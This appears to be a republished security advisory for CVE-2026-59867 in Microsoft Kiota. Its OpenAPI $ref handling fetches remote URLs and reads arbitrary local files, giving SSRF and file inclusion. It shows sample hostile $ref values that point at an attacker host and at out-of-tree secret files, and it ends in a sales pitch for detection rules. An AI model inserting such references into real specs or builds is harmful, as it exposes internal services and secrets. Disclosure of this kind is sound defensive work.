Summary Microsoft Kiota resolved OpenAPI $refs by fetching remote http(s) URLs and reading local files (including absolute / out-of-tree paths), inlining the referenced schema into the generated client. Running kiota ge…
| CVE ID | CVE-2026-59867 |
| Vendor | nuget |
| Affected Product | Microsoft.OpenApi.Kiota |
| Vulnerability Type | Vulnerability |
| CVSS Score | 7.1 (HIGH) |
| EPSS Score | 1.9% probability of exploitation in the next 30 days |
| Actively Exploited | ❌ No known exploitation |
| Patch Status | See Vendor Advisory → |
| Reported By | CYBERDUDEBIVASH SENTINEL APEX Intelligence (via github_advisories) |
#
$refs by fetching remote http(s) URLs and reading local files(including absolute / out-of-tree paths), inlining the referenced schema into the generated client. Running kiota generate on a spec whose $ref pointed at an attacker/internal URL or an arbitrary local file yielded SSRF, remote file inclusion, and local file inclusion. Verified on 1.32.3 / 1.32.4.
$ref: http://attacker/internal-evil.json#/... → build host fetches the URL (SSRF) and inlines the remote schema (RFI); confirmed property REMOTE_KIOTA_PROP in the generated client.$ref: /abs/path.json#/... or ../../secret.json#/... → Kiota reads the out-of-tree local file and inlines its schema (LFI); confirmed Leaked schema in the generated client. ResoSigma rules, YARA signatures, IOC table, and SIEM queries for Splunk, Elastic, Sentinel, and Chronicle — deployable in 5 minutes.